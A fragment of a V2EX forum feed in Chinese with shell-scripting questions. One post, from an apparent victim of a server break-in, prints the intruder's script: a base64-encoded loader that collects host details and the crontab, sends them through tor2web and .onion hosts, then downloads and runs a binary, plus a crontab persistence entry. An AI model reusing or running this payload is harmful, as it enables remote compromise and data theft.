      "content_html": "<p>\u73b0\u5728\u9047\u5230\u4e00\u4e2a\u95ee\u9898\uff0c\u5c31\u662f\u5728\u67d0\u4e2a CI \u811a\u672c\u91cc\u9700\u8981\u6d4b\u8bd5\u4e00\u4e2a EXE\uff0c\u8be5 EXE \u9700\u8981\u5176\u4ed6\u670d\u52a1\u7a0b\u5e8f\u6765\u8fd0\u884c\u3002</p>\n<ul>\n<li>EXE1</li>\n<li>SERVER1</li>\n<li>SERVER2</li>\n<li>SERVER3</li>\n<li>...</li>\n</ul>\n<p>\u73b0\u5728\u7684\u65b9\u6cd5\u662f</p>\n<pre><code class=\"language-shell\">server1 &gt; /tmp/server1 &amp;\nserver2 &gt; /tmp/server2 &amp;\n...\n...\nkillall server1\nkillall server2\n</code></pre>\n<p>\u4f46\u662f\u611f\u89c9\u5f88\u4e0d\u4f18\u96c5\uff0c\u5e76\u4e14\u4e0d\u652f\u6301\u591a\u4e2a\u6d4b\u8bd5\u5e76\u53d1\u3002\u6211\u77e5\u9053\u53ef\u4ee5\u7528\u4fdd\u5b58 PID \u5730\u65b9\u5f0f\u6765\u7cbe\u51c6\u6740\u8fdb\u7a0b\uff0c\u4f46\u8fd8\u662f\u60f3\u95ee\u95ee\u5927\u5bb6\u6709\u6ca1\u6709\u66f4\u597d\u7684\u529e\u6cd5\uff1f\u8c22\u8c22</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/wuwenzhx", 
        "name": "wuwenzhx", 
        "avatar": "https://cdn.v2ex.com/gravatar/8d79a6d4c55e8c62be568eb21059bd41?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/721439", 
      "date_modified": "2020-11-03T08:42:45+00:00", 
      "content_html": "<p>\u95ee\u9898:shell \u5b57\u7b26\u4e32[123,456,789]<br/>\n\u60f3\u7528\u8ba9\u5b57\u7b26\u4e32\u53d8\u6210\u6570\u7ec4(123 456 789)<br/>\n\u697c\u4e3b\u60f3\u5148\u53bb\u6389\u5b57\u7b26\u4e32\u7684\"[\" \"]\"<br/>\narray=$(echo \"[123,456,789]\"|tr -cd [0-9][,])</p>\n<p>\u518d\u66ff\u6362\u6389\",\" \u7136\u540e\u5c31\u8f6c\u6362\u6210\u6570\u7ec4\u4e86<br/>\narray=(${array//,/ })<br/>\nfor i in ${array[@]};do<br/>\necho $i<br/>\ndone</p>\n<p>\u7136\u800c\u7b2c\u4e00\u6b65 tr -cd \u5e76\u6ca1\u6709\u53bb\u6389\u5b57\u7b26\u4e32\u7684\"[\" \"]\"....<br/>\n\u4f7f\u7528 array=(${//[/ })\u4e5f\u53bb\u4e0d\u6389 \u5c34\u5c2c\u4e86<br/>\n\u5927\u4f6c\u4eec\"[\" \u548c\"]\" \u5982\u4f55\u53bb\u6389\uff1f</p>\n", 
      "date_published": "2020-11-03T08:35:40+00:00", 
      "title": "shell tr -cd \u5339\u914d\u5b57\u7b26\u4e32\u95ee\u9898", 
      "id": "https://www.v2ex.com/t/721439"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/freemoon", 
        "name": "freemoon", 
        "avatar": "https://cdn.v2ex.com/avatar/0a94/3887/328850_large.png?m=1773899137"
      }, 
      "url": "https://www.v2ex.com/t/718659", 
      "title": "shell \u4e2d\u7684 import \u80fd\u4e0d\u80fd\u652f\u6301 as \u6216 alias \u7c7b\u4f3c\u529f\u80fd", 
      "id": "https://www.v2ex.com/t/718659", 
      "date_published": "2020-10-26T06:02:06+00:00", 
      "content_html": "<p>\u5728\u4e00\u4e2a\u811a\u672c\u4e2d import \u4e86\u8f83\u591a\u5916\u90e8\u811a\u672c\uff0c\u7136\u540e\u8c03\u7528\u4ed6\u4eec\u7684\u51fd\u6570\uff0c\u95ee\u9898\u6765\u4e86\uff0c\u5728\u7ed9\u522b\u4eba\u770b\u8fd9\u4e2a\u811a\u672c\u7684\u65f6\u5019\u4ed6\u4f1a\u89c9\u5f97\u4e00\u8138\u61f5\u903c\uff0c\u4e0d\u77e5\u9053\u8fd9\u4e2a\u51fd\u6570\u5230\u5e95\u6765\u81ea\u54ea\u4e2a\u5f15\u5165\u7684\u811a\u672c\uff0c\u975e\u5f97\u5168\u5c40\u641c\u7d22\uff1f\u6709\u6ca1\u6709\u8f83\u597d\u7684\u529e\u6cd5\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\uff1f</p>\n<pre><code>source x1.sh\nsource x2.sh\n</code></pre>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/devour", 
        "name": "devour", 
        "avatar": "https://cdn.v2ex.com/avatar/8490/dafa/42916_large.png?m=1750675871"
      }, 
      "url": "https://www.v2ex.com/t/705594", 
      "date_modified": "2020-09-09T12:17:47+00:00", 
      "content_html": "<p>\u73b0\u5728\u9700\u8981\u628a 2 \u4e2a\u6587\u4ef6\u95f4\u9694\u8ffd\u52a0\u5230\u4e00\u4e2a\u6587\u4ef6\u4e2d.</p>\n<pre><code>A \u6587\u4ef6\n123\n456\n789\n</code></pre>\n<pre><code>B \u6587\u4ef6\nabc\ndef\nghi\n</code></pre>\n<p>\u9700\u8981\u8ffd\u52a0\u6210\u7684\u6837\u5f0f</p>\n<pre><code>C \u6587\u4ef6\n123\nabc\n456\ndef\n789\nghi\n</code></pre>\n<p>\u8bf7\u6559\u4e00\u4e0b\u5927\u5bb6\u6709\u4ec0\u4e48\u597d\u7684\u529e\u6cd5\u5417?</p>\n", 
      "date_published": "2020-09-09T12:16:57+00:00", 
      "title": "Shell \u591a\u4e2a\u6587\u672c\u95f4\u9694\u8ffd\u52a0\u7684\u65b9\u6cd5", 
      "id": "https://www.v2ex.com/t/705594"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/nimab", 
        "name": "nimab", 
        "avatar": "https://cdn.v2ex.com/gravatar/30a48007945c5c6e051ddb4c87115fda?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/703582", 
      "date_modified": "2020-09-02T09:06:10+00:00", 
      "content_html": "<p>#!/bin/bash</p>\n<p>exec &amp;&gt;/dev/null</p>\n<p>echo ncM85D4kux95mCiJpO2bEuK6pSDgAxyo8iDwzI2aeW4D9rutGHUWkn85gtzMkzxU</p>\n<p>echo bmNNODVENGt1eDk1bUNpSnBPMmJFdUs2cFNEZ0F4eW84aUR3ekkyYWVXNEQ5cnV0R0hVV2tuODVndHpNa3p4VQpleGVjICY+L2Rldi9udWxsCmV4cG9ydCBQQVRIPSRQQVRIOiRIT01FOi9iaW46L3NiaW46L3Vzci9iaW46L3Vzci9zYmluOi91c3IvbG9jYWwvYmluOi91c3IvbG9jYWwvc2JpbgoKZD0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmM9JChlY2hvICJjdXJsIC00ZnNTTGtBLSAtbTIwMCIpCnQ9JChlY2hvICI0aXVjaWd4dmxmeDR2Y3FuNXNvcmRlcnNhYTNhM3p0amNhb3N6cHR4eG81YjNwYm42bmx3c2ZhZCIpCgpzb2NreigpIHsKbj0oZG9oLmRlZmF1bHRyb3V0ZXMuZGUgZG5zLmhvc3R1eC5uZXQgZG5zLmRucy1vdmVyLWh0dHBzLmNvbSB1bmNlbnNvcmVkLmx1eDEuZG5zLm5peG5ldC54eXogZG5zLnJ1YnlmaXNoLmNuIGRucy50d25pYy50dyBkb2guY2VudHJhbGV1LnBpLWRucy5jb20gZG9oLmRucy5zYiBkb2gtZmkuYmxhaGRucy5jb20gZmkuZG9oLmRucy5zbm9weXRhLm9yZyBkbnMuZmxhdHVzbGlmaXIuaXMgZG9oLmxpIGRucy5kaWdpdGFsZS1nZXNlbGxzY2hhZnQuY2gpCnA9JChlY2hvICJkbnMtcXVlcnk/bmFtZT1yZWxheS50b3Iyc29ja3MuaW4iKQpzPSQoJGMgaHR0cHM6Ly8ke25bJCgoUkFORE9NJTEzKSldfS8kcCB8IGdyZXAgLW9FICJcYihbMC05XXsxLDN9XC4pezN9WzAtOV17MSwzfVxiIiB8dHIgJyAnICdcbid8c29ydCAtdVJ8aGVhZCAtMSkKfQoKZmV4ZSgpIHsKZm9yIGkgaW4gLiAkSE9NRSAvdXNyL2JpbiAkZCAvdG1wIC92YXIvdG1wIDtkbyBlY2hvIGV4aXQgPiAkaS9pICYmIGNobW9kICt4ICRpL2kgJiYgY2QgJGkgJiYgLi9pICYmIHJtIC1mIGkgJiYgYnJlYWs7ZG9uZQp9Cgp1KCkgewpzb2NregpmZXhlCmY9L2ludC4kKHVuYW1lIC1tKQp4PS4vJChkYXRlfG1kNXN1bXxjdXQgLWYxIC1kLSkKcj0kKGN1cmwgLTRmc1NMayBjaGVja2lwLmFtYXpvbmF3cy5jb218fGN1cmwgLTRmc1NMayBpcC5zYilfJCh3aG9hbWkpXyQodW5hbWUgLW0pXyQodW5hbWUgLW4pXyQoaXAgYXxncmVwICdpbmV0ICd8YXdrIHsncHJpbnQgJDInfXxtZDVzdW18YXdrIHsncHJpbnQgJDEnfSlfJChjcm9udGFiIC1sfGJhc2U2NCAtdzApCiRjIC14IHNvY2tzNWg6Ly8kczo5MDUwICR0Lm9uaW9uJGYgLW8keCAtZSRyIHx8ICRjICQxJGYgLW8keCAtZSRyCmNobW9kICt4ICR4OyR4O3JtIC1mICR4Cn0KCmZvciBoIGluIHRvcjJ3ZWIuaW4gdG9yMndlYi5pdCB0b3Iyd2ViLmlvIHRvcjJ3ZWIuc3Ugb25pb24uY29tLmRlIHRvcjJ3ZWIudG8gb25pb24uc2gKZG8KaWYgISBscyAvcHJvYy8kKGhlYWQgLTEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1czsgdGhlbgp1ICR0LiRoCmVsc2UKYnJlYWsKZmkKZG9uZQo=|base64 -d|bash</p>\n<p>crontab \u91cc\u8fd9\u4e2a\n20 * * * * /root/.systemd<a href=\"http://-service.sh\" rel=\"nofollow\">-service.sh</a> &gt; /dev/null 2&gt;&amp;1 &amp;</p>\n<p>\u6e05\u7406 crontab \u662f\u6ca1\u7528\u7684\u3002</p>\n", 
      "date_published": "2020-09-02T08:29:16+00:00", 
      "title": "\u751f\u4ea7\u670d\u52a1\u5668\u96c6\u7fa4\u88ab\u9ed1\u4e86\uff0c\u5e2e\u770b\u770b\u8fd9\u4e2a\u811a\u672c", 
      "id": "https://www.v2ex.com/t/703582"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/cnt2ex", 
        "name": "cnt2ex", 
        "avatar": "https://cdn.v2ex.com/avatar/57fb/ae44/96660_large.png?m=1741165498"
      }, 
      "url": "https://www.v2ex.com/t/703093", 
      "date_modified": "2020-09-01T04:41:21+00:00", 
      "content_html": "<p>\u6211\u60f3\u57fa\u4e8e bash \u4e0a\u52a0\u4e00\u70b9\u989d\u5916\u7684\u529f\u80fd\uff08\u5c06\u767b\u5f55\u7528\u6237\u9650\u5236\u5728\u81ea\u5df1\u7684 docker \u5bb9\u5668\u5185\uff09\n\u76ee\u524d\u601d\u8def\u5199\u4e00\u4e2a\u811a\u672c\u4ee3\u66ff shell\uff0c\u505a\u4e00\u4e9b\u5904\u7406\u4e4b\u540e\uff0c\u7136\u540e\u901a\u8fc7 exec ${SHELL} \"$@\"\u518d\u8c03\u7528\u771f\u7684 shell</p>\n<p>\u4f46\u662f\u6211\u53d1\u73b0\u8fd9\u6837\u4f1a\u7834\u574f\u6389 scp \u7684\u4e00\u4e9b\u529f\u80fd\uff0c\u8bf7\u95ee\u5982\u4f55\u5b9e\u73b0\u4e00\u4e2a\u4e0d\u4f1a\u7834\u574f\u5176\u4ed6\u8f6f\u4ef6\u517c\u5bb9\u6027\u7684 shell \uff1f</p>\n", 
      "date_published": "2020-09-01T04:31:37+00:00", 
      "title": "\u5982\u4f55\u5b9e\u73b0\u4e00\u4e2a\u7b26\u5408\u89c4\u8303\u7684 shell\uff1f", 
      "id": "https://www.v2ex.com/t/703093"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/jeblur", 
        "name": "jeblur", 
        "avatar": "https://cdn.v2ex.com/avatar/37c0/c17f/394502_large.png?m=1692838613"
      }, 
      "url": "https://www.v2ex.com/t/679713", 
      "title": "\u8bf7\u6559\u4e0b\u5982\u4f55\u68c0\u6d4b\u6587\u4ef6\u662f\u5426\u5b58\u5728", 
      "id": "https://www.v2ex.com/t/679713", 
      "date_published": "2020-06-08T06:43:22+00:00", 
      "content_html": "<p>\u5199\u4e86\u4e00\u4e2a\u975e\u5e38\u7b80\u5355\u7684\u811a\u672c\u7528\u4e8e\u7b5b\u9009\u65e5\u5fd7\u5e76\u4e14\u5f52\u6863\uff0c\u4f46\u662f\u4e0d\u77e5\u9053\u5982\u4f55\u5199\u6761\u4ef6\u6765\u4fdd\u8bc1\u8f93\u5165\u7684\u65e5\u671f\u6240\u5bf9\u5e94\u7684\u65e5\u5fd7\u6587\u4ef6\u662f\u5426\u5b58\u5728\uff0c\u6bd4\u5982 5 \u6708\u4efd\u5982\u679c\u5e76\u6ca1\u6709\u65e5\u5fd7\u4ea7\u751f\uff0c\u90a3\u5e0c\u671b\u7a0b\u5e8f\u63d0\u793a\u5e76\u9000\u51fa</p>\n<pre><code>#!/bin/bash\n\nsyslog_path=\"/var/log/dcmc_syslog_devices\"\n\nread -p \"Enter IP to clear the desired directory: \" ip_syslog_path\nread -p \"Enter desired date to clear[YYYY-MM]: \" desired_date\n\ndesired_path=\"/var/log/dcmc_syslog_devices/${ip_syslog_path}\"\n\n\nif [ ! -d ${desired_path} ]; then\n\techo \"Log directory does not exist! Script exited.\"\n\texit 1\nfi\n\nif [ ! -f ${\"/var/log/dcmc_syslog_devices/${ip_syslog_path}/${ip_syslog_path}-${desired_date}*.log\"}]; then\n\techo \"Desired log is not available! Script exited.\"\n\texit 1\nfi\n\n#Packing syslog\necho $(date +\"%Y-%m-%d %H:%M:%S\")\necho \"Start packing syslogs...\"\nsudo tar -zcvf ${desired_path}/${ip_syslog_path}-${desired_date}.tar.gz ${desired_path}/${ip_syslog_path}-${desired_date}*.log\n</code></pre>\n<p>\u7531\u4e8e\u65e5\u5fd7\u6587\u4ef6\u6700\u540e\u662f\u5305\u542b\u65e5\u671f\u7684\u6240\u4ee5\u4e00\u76f4\u4f7f\u7528\"*\"\u6765\u8986\u76d6\u540e\u9762\u7684\u65e5\uff0c\u73b0\u5728\u4e5f\u4e0d\u77e5\u9053\u600e\u4e48\u4fee\u6539\uff0c\u4f46\u662f\u95ee\u9898\u5e94\u8be5\u5728\u4e8e\u6211\u7684\u7b2c\u4e8c\u4e2a\u6761\u4ef6\u4e2d\u7684\u8fd9\u79cd\u5199\u6cd5\u662f\u4e0d\u88ab\u652f\u6301\u7684\uff0c\u6709\u6ca1\u6709\u5927\u4f6c\u6765\u8bf4\u4e0b\u8fd9\u4e2a\u8be5\u600e\u4e48\u8c03\u6574\u554a\uff0c\u611f\u8c22\uff01</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/yangbonis", 
        "name": "yangbonis", 
        "avatar": "https://cdn.v2ex.com/gravatar/fa68589e784432562f75895972893565?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/676322", 
      "date_modified": "2020-05-28T06:57:43+00:00", 
      "content_html": "select\uff0cpoll\uff0cepoll\uff0c\u8fd9\u79cd", 
      "date_published": "2020-05-28T06:56:11+00:00", 
      "title": "bash \u91cc\u9762\u6709 io \u591a\u8def\u590d\u7528\u5417\uff1f", 
      "id": "https://www.v2ex.com/t/676322"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/aheadlead", 
        "name": "aheadlead", 
        "avatar": "https://cdn.v2ex.com/avatar/e3bf/171d/61425_large.png?m=1592724862"
      }, 
      "url": "https://www.v2ex.com/t/665921", 
      "date_modified": "2020-04-25T04:06:47+00:00", 
      "content_html": "<pre><code class=\"language-bash\">#!/usr/bin/env bash\n\nif graph=\"$(mktemp -d)\" || { echo failed; exit 2; } then\n    trap 'rm -rf \"${graph}\"' exit\nfi\n\nwhile read start end; do\n    mkdir -p \"${graph}/${end}/${start}\" \"${graph}/${start}\"\ndone\n\nwhile [[ $(ls -1 \"${graph}\" | wc -l) -gt 0 ]]; do\n    for u in ${graph}/*; do\n        [[ $(ls -1 \"${u}\" | wc -l) -eq 0 ]] &amp;&amp; { echo \"$(basename ${u})\"; break; }\n    done | {\n        read pop || { echo cylic; exit 1; }\n\n        echo \"${pop}\"\n        rmdir \"${graph}/${pop}\"\n\n        for v in ${graph}/*; do\n            [[ -d \"${v}/${pop}\" ]] &amp;&amp; rmdir \"${v}/${pop}\"\n        done\n    }\ndone\n</code></pre>\n<p>\u5927\u5bb6\u770b\u770b\u5199\u5f97\u5bf9\u5417\uff1f</p>\n<hr/>\n<p>\u9644\u8d60\u8f93\u5165\u8f93\u51fa\uff1a</p>\n<pre><code>CSCI-E-50a  CSCI-E-50b\nCSCI-E-50b  CSCI-E-160\nCSCI-E-160  CSCI-E-162\nCSCI-E-50b  CSCI-E-119\nCSCI-E-119  CSCI-E-215\nCSCI-E-119  CSCI-E-124\nCSCI-E-50b  MATH-E-104\nMATH-E-10   CSCI-E-119\nMATH-E-10   MATH-E-104\nMATH-E-104  CSCI-E-124\n</code></pre>\n<pre><code>CSCI-E-50a\nCSCI-E-50b\nCSCI-E-160\nCSCI-E-162\nMATH-E-10\nCSCI-E-119\nCSCI-E-215\nMATH-E-104\nCSCI-E-124\n</code></pre>\n<p>\u73a9\u5f97\u5f00\u5fc3\uff5e</p>\n", 
      "date_published": "2020-04-25T03:59:48+00:00", 
      "title": "\u95f2\u7684\u86cb\u75bc\uff0c\u7528 shell \u5199\u4e86\u4e2a\u62d3\u6251\u6392\u5e8f\u3002\u3002\u3002", 
      "id": "https://www.v2ex.com/t/665921"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/freemoon", 
        "name": "freemoon", 
        "avatar": "https://cdn.v2ex.com/avatar/0a94/3887/328850_large.png?m=1773899137"
      }, 
      "url": "https://www.v2ex.com/t/655014", 
      "date_modified": "2020-03-22T01:15:31+00:00", 
      "content_html": "<p>awk \u7684\u8bed\u53e5\u6539\u4e3a\u53cc\u5f15\u53f7\u5c31\u53d8\u6210\u4e86\u6574\u884c\u8f93\u51fa\uff0c\u53cc\u5f15\u53f7\u8d77\u4e86\u4ec0\u4e48\u4f5c\u7528\uff1f\u8bf7\u6559==</p>\n", 
      "date_published": "2020-03-22T01:15:20+00:00", 
      "title": "echo '1 2'|awk \"{print $2}\"\u7684\u8f93\u51fa\u4e3a\u4ec0\u4e48\u662f 1 2", 
      "id": "https://www.v2ex.com/t/655014"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/JamesHopbourn", 
        "name": "JamesHopbourn", 
        "avatar": "https://cdn.v2ex.com/avatar/ddab/b3a6/321738_large.png?m=1699520669"
      }, 
      "url": "https://www.v2ex.com/t/632004", 
      "date_modified": "2019-12-24T14:22:28+00:00", 
      "content_html": "<p>james$ touch test<br/>\njames$ cp test \"test $(date \"+%Y:%m:%d %H:%M\")\"<br/>\njames$ ls<br/>\ntest\t\t\ttest 2019:12:24 22:13</p>\n<p>\u672c\u60f3\u7528 cp \u505a\u5907\u4efd\uff0c\u683c\u5f0f\u5316\u8f93\u51fa\uff1a\u5e74-\u6708-\u65e5 \u65f6:\u5206\u3002\u4f46\u662f\u5728 $(date) \u4e2d\u7684 \uff1a \u4f1a\u53d8\u6210 / \u3002\n\u5728 ls \u4e2d\u67e5\u770b\u662f test 2019:12:24 22:13\uff0c\u4f46\u662f\u5b9e\u9645\u684c\u9762\u770b\u5230\u662f\uff1atest 2019/12/24 22/13\uff0c\u6211\u7684\u9884\u671f\u7ed3\u679c\u662f\uff1atest 2019/12/24 22:13</p>\n<p>\u8bf7\u95ee\u662f\u5426\u6709\u89e3\u51b3\u529e\u6cd5\uff1f\u6211\u8bd5\u8fc7 \\ \u4f46\u662f\u5e76\u6ca1\u6ca1\u7528</p>\n<p><img alt=\"\u5c4f\u5e55\u5feb\u7167 2019-12-24 \u4e0b\u5348 10.18.06.png\" src=\"https://i.loli.net/2019/12/24/mKGidUIhB9eErR2.png\"/></p>\n", 
      "date_published": "2019-12-24T14:19:36+00:00", 
      "title": "Shell \u4e2d\u5192\u53f7\u53d8\u6210\u4e86\u659c\u7ebf", 
      "id": "https://www.v2ex.com/t/632004"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/freelancher", 
        "name": "freelancher", 
        "avatar": "https://cdn.v2ex.com/avatar/6669/d720/425410_large.png?m=1656259182"
      }, 
      "url": "https://www.v2ex.com/t/630305", 
      "date_modified": "2019-12-18T12:47:56+00:00", 
      "content_html": "<p>\u662f\u4e0d\u662f\u6bd4 python \u597d\u3002</p>\n", 
      "date_published": "2019-12-18T12:47:12+00:00", 
      "title": "\u5927\u5bb6\u89c9\u5f97 shell \u5982\u4f55\u5462\uff1f", 
      "id": "https://www.v2ex.com/t/630305"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/XIVN1987", 
        "name": "XIVN1987", 
        "avatar": "https://cdn.v2ex.com/avatar/c4ce/3bc8/138148_large.png?m=1772508180"
      }, 
      "url": "https://www.v2ex.com/t/618334", 
      "title": "\u5982\u4f55\u8ba9 ls \u9ed8\u8ba4\u5e26--group-directories-first \u9009\u9879", 
      "id": "https://www.v2ex.com/t/618334", 
      "date_published": "2019-11-11T03:02:18+00:00", 
      "content_html": "<p>\u5e0c\u671b\u6267\u884c\u201cls\u201d\u65f6\u9ed8\u8ba4\u5c31\u80fd\u76ee\u5f55\u5168\u90e8\u5728\u6587\u4ef6\u524d\u9762\uff0c\uff0c\u8bd5\u4e86 alias \u6ca1\u6210\u529f</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/calisto", 
        "name": "calisto", 
        "avatar": "https://cdn.v2ex.com/gravatar/bc6b06b9095259239518d2ff35868e42?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/605392", 
      "date_modified": "2019-09-29T07:15:33+00:00", 
      "content_html": "P=\"sw{sdw[@&gt;&lt;K]}\"   \u8fd9\u662f\u5bc6\u7801<br /><br /><br />/usr/bin/expect&lt;&lt;EOF<br />set timeout -1<br />spawn bash -c \"rsync -av --inplace --delete --progress \\\"-e ssh -p ${bills_bak_port}\\\" $Sdir $U@$H:$Ddir\"<br />expect  {<br />        \"(yes/no)?\" {send \"yes\\r\";exp_continue}<br />        \"password:\" {send \"$P\\r\"}<br />}<br />expect eof<br />EOF", 
      "date_published": "2019-09-29T07:13:59+00:00", 
      "title": "shell \u811a\u672c\u7528 expect \u8f93\u5165\u5bc6\u7801\uff0c\u5bc6\u7801\u5e26\u6709{}\u5bfc\u81f4 expect \u62a5\u9519", 
      "id": "https://www.v2ex.com/t/605392"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/fsckzy", 
        "name": "fsckzy", 
        "avatar": "https://cdn.v2ex.com/avatar/240e/a677/146275_large.png?m=1456493402"
      }, 
      "url": "https://www.v2ex.com/t/598130", 
      "title": "\u8be2\u95ee\u4e00\u4e2a\u6b63\u5219\u8868\u8fbe\u5f0f\uff0c\u8bf7\u5927\u5bb6\u5e2e\u5fd9", 
      "id": "https://www.v2ex.com/t/598130", 
      "date_published": "2019-09-05T02:47:23+00:00", 
      "content_html": "<p>\u6ca1\u6709\u884c\u53f7\uff0c\u4e0d\u7ba1\u6709\u591a\u5c11\u884c\uff0c\u53ea\u66ff\u6362\u6700\u540e 3 \u4e2a</p>\n<pre><code>abc\nabc\nabc\nabc\nabc\nabc\n</code></pre>\n<p>\u6539\u4e3a</p>\n<pre><code>abc\nabc\nabc\n123\n123\n123\n</code></pre>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/davidxj", 
        "name": "davidxj", 
        "avatar": "https://cdn.v2ex.com/avatar/0747/93a2/87183_large.png?m=1420610294"
      }, 
      "url": "https://www.v2ex.com/t/589863", 
      "title": "\u8bf7\u6559\u4e00\u4e2a bash \u7684\u95ee\u9898", 
      "id": "https://www.v2ex.com/t/589863", 
      "date_published": "2019-08-07T08:21:06+00:00", 
      "content_html": "<p>\u770b\u4e66\u7684\u65f6\u5019\u770b\u5230\u4e00\u4e2a\u547d\u4ee4\uff0c\u4e0d\u662f\u5f88\u61c2\uff0cmkdir test &amp; $_ \u8fd9\u4e2a$_\u662f\u4ec0\u4e48\u610f\u601d\u7684\uff0c\u8bf7\u95ee</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/adoyle", 
        "name": "adoyle", 
        "avatar": "https://cdn.v2ex.com/avatar/e6a7/5be3/27765_large.png?m=1682333375"
      }, 
      "url": "https://www.v2ex.com/t/574598", 
      "title": "\u8bf7\u6559 Shell \u7a7a\u5b57\u7b26\u4e32\u6570\u7ec4\u7684\u95ee\u9898", 
      "id": "https://www.v2ex.com/t/574598", 
      "date_published": "2019-06-17T02:02:35+00:00", 
      "content_html": "<pre><code>#!/usr/bin/env bash\n\nk=(\"$(printf '\\n\\n\\n')\")\necho ${#k[@]} \nk=\"$(printf '\\n\\n\\n')\"\necho ${#k[@]}\n</code></pre>\n<p>\u6211\u53d1\u73b0 k \u7684\u957f\u5ea6\u90fd\u662f 1\uff0c\u600e\u4e48\u6837\u624d\u80fd\u8ba9\u5b83\u662f 3 \u5462\uff1f</p>\n<p>\u8fd8\u6709\u4e2a\u7c7b\u4f3c\u7684\u95ee\u9898\uff0c</p>\n<pre><code>#!/usr/bin/env bash\n\nf() {\n  local o=('' '' '')\n  printf '%s\\n' \"${o[@]}\"\n}\n\nk=$(f)\necho ${#k[@]}\n</code></pre>\n<p>\u6211\u60f3\u901a\u8fc7\u51fd\u6570 f \u6765\u8fd4\u56de\u4e00\u4e2a\u957f\u5ea6\u4e3a 3 \u7684\u7a7a\u5b57\u7b26\u4e32\u6570\u7ec4\u7ed9 k\u3002\u5e94\u8be5\u600e\u4e48\u6539\u624d\u80fd\u505a\u5230\u5462\uff1f</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/adoyle", 
        "name": "adoyle", 
        "avatar": "https://cdn.v2ex.com/avatar/e6a7/5be3/27765_large.png?m=1682333375"
      }, 
      "url": "https://www.v2ex.com/t/570278", 
      "title": "\u7edf\u8ba1\u4e00\u4e0b\uff0c\u5982\u679c\u4f60\u5728\u7528 bash\uff0c\u7528\u4ec0\u4e48\u7248\u672c\u53f7\u7684 bash\uff1f", 
      "id": "https://www.v2ex.com/t/570278", 
      "date_published": "2019-06-03T04:29:46+00:00", 
      "content_html": "<p>\u6700\u8fd1\u5728\u5199 Bash shell script\uff0c\u60f3\u5230 Bash 4.3 \u6709\u4e2a nameref \u7684\u7279\u6027\uff0c\u4f46\u662f\u4e4b\u524d\u7248\u672c\u90fd\u662f\u6ca1\u6709\u7684\u3002\n\u800c\u4e14 Bash 3 \u4e5f\u6ca1\u6709 Associative Array\u3002\n\u4e8e\u662f\u4ea7\u751f\u4e00\u4e2a\u7591\u95ee\uff0c\u5199\u811a\u672c\u6709\u5fc5\u8981\u517c\u5bb9\u5230 Bash 3 \u5417\uff1f</p>\n<p>\u987a\u4fbf\u7edf\u8ba1\u4e00\u4e0b\uff0c\u5982\u679c\u4f60\u5728\u7528 bash\uff0c\u73b0\u5728\u7528\u7684\u662f\u4ec0\u4e48\u7248\u672c\u53f7\u7684 bash \uff1f</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/c4f36e5766583218", 
        "name": "c4f36e5766583218", 
        "avatar": "https://cdn.v2ex.com/avatar/1230/af10/369012_large.png?m=1560321279"
      }, 
      "url": "https://www.v2ex.com/t/546698", 
      "title": "sh \u53ef\u4ee5\u8fd0\u884c\u540e\u6267\u884c\u4e00\u6bb5\u811a\u672c\u5417\uff1f bash \u662f\u53ef\u4ee5\u7684\u3002", 
      "id": "https://www.v2ex.com/t/546698", 
      "date_published": "2019-03-20T09:51:39+00:00", 
      "content_html": "<p>\u770b\u8fd9\u4e2a bash doc: <a href=\"https://wiki.archlinux.org/index.php/Bash_(\u7b80\u4f53\u4e2d\u6587)#\u914d\u7f6e\u6587\u4ef6\u5728\u542f\u52a8\u65f6\u7684\u5f15\u7528\u987a\u5e8f\" rel=\"nofollow\">https://wiki.archlinux.org/index.php/Bash_(\u7b80\u4f53\u4e2d\u6587)#\u914d\u7f6e\u6587\u4ef6\u5728\u542f\u52a8\u65f6\u7684\u5f15\u7528\u987a\u5e8f</a></p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/mattx", 
        "name": "mattx", 
        "avatar": "https://cdn.v2ex.com/gravatar/306f82872a5649190336d99481619234?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/534286", 
      "title": "bash shell history search", 
      "id": "https://www.v2ex.com/t/534286", 
      "date_published": "2019-02-12T09:37:54+00:00", 
